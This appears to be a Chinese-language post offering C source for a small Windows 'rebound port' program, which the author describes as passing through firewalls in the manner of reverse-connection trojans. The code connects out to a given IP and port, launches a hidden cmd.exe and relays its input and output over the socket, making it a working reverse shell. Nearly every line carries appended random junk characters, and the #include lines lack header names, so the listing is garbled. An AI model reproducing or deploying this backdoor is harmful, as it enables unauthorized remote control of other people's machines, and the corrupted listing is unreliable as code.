这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 PU {uE[
,zQOZ'^
/* ============================== M('d-Q{B7L
Rebound port in Windows NT `Ci4YDaz;k
By wind,2006/7 fRvAKz|rL
===============================*/ kL90&nP
#include T'#!~GpB
#include T%F0B`
$ C0TD7=
#pragma comment(lib,"wsock32.lib") @+Y8*Rj\3
=9G;PVk|
void OutputShell(); oW$s
xS
SOCKET sClient; }Z`(aDH
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; T}D<Sc
Kv{8iAB#c
void main(int argc,char **argv) }4>JO""
{ D\~e&0*
WSADATA stWsaData; _ OaRY]
int nRet; }#v{`Sn%^C
SOCKADDR_IN stSaiClient,stSaiServer; +zkm(
gr-x|wK
if(argc != 3) q+a.G2S
{ Qpt&3_
printf("Useage:\n\rRebound DestIP DestPort\n"); FZH\Q~IUV
return; Bd3~E bFL
} _}mK!_`
*fO{ a
WSAStartup(MAKEWORD(2,2),&stWsaData); t=R6mjb
^# A.@
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); S*"u/b;
-Z^4L
stSaiClient.sin_family = AF_INET; CkRX>)=py
stSaiClient.sin_port = htons(0); zQH]s?v
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 6<5Jq\-h
&,i~ cG?
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) oh#>
5cA8
{ 3,);0@I
printf("Bind Socket Failed!\n"); 7W9~1
.SC
return; q6wr=OWD
} G_ Ay
m=b~i^@
stSaiServer.sin_family = AF_INET; o0pT6N)
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); WA)Ij(M8 p
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); z{BA4sn
!]S=z^"<
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) -qe bQv
{ l
SkEuN
printf("Connect Error!"); x7RdZC
return; hxC!+ArVe
} 137Xl>nO
OutputShell(); (\dK4JJ
} XNH4==4
>!9h6BoGV
void OutputShell() sFb4`
{ 3]n0 &MZAR
char szBuff[1024]; Jbp5'e
_
SECURITY_ATTRIBUTES stSecurityAttributes; E=/[s]@5
OSVERSIONINFO stOsversionInfo; y~F<9;$=
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ^GYq#q9Q
STARTUPINFO stStartupInfo; TK>{qxt:=
char *szShell; WA
LGIW
PROCESS_INFORMATION stProcessInformation; >WM3|
unsigned long lBytesRead; ?z"KnR+?Q
`<j_[(5yb
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 1.R
kIB
*(*+`qZL{(
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); gvnj&h.GV
stSecurityAttributes.lpSecurityDescriptor = 0; djT.
1(
stSecurityAttributes.bInheritHandle = TRUE;
'H FK Bp
j[P8
y67uH4&Vm
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ggou*;'
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); b4 hIeBI\
9.0WKcwg
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); =p&sl;PsLw
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4R +P
stStartupInfo.wShowWindow = SW_HIDE; @+^c"=d1S
stStartupInfo.hStdInput = hReadPipe; Lm.`+W5
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; x.EgTvA&d
h)E|?b_
GetVersionEx(&stOsversionInfo); eO{@@?/y
67J*&5? |
switch(stOsversionInfo.dwPlatformId) W3LP
~
{ D{AFL.r{
case 1: F@hYA
szShell = "command.com"; z/1hqxHl
break; ma9ADFFT
default: "E>t,
D
szShell = "cmd.exe"; p,n\__
break; , deUsc
} 3#Y3Dz`
`Lz1{#F2G
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); lIuXo3
Q#WE|,a
send(sClient,szMsg,77,0); (5;D7zdA
while(1) /84bv=
{ 8Inx/>eOI
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); WOO%YU =
if(lBytesRead) pN$;!
{ \$;~74}
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); e~Hr(O+;e6
send(sClient,szBuff,lBytesRead,0); <F=Dj*]
} Lp~^*j(
else xeB4r/6
{ ZPF7m{S
lBytesRead=recv(sClient,szBuff,1024,0); Lht[g9
if(lBytesRead<=0) break; uu>lDvR*
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); (/fT]6(
} E&%jeR
} \Hs|$
~JE|f 7
return; 79z)C35~
}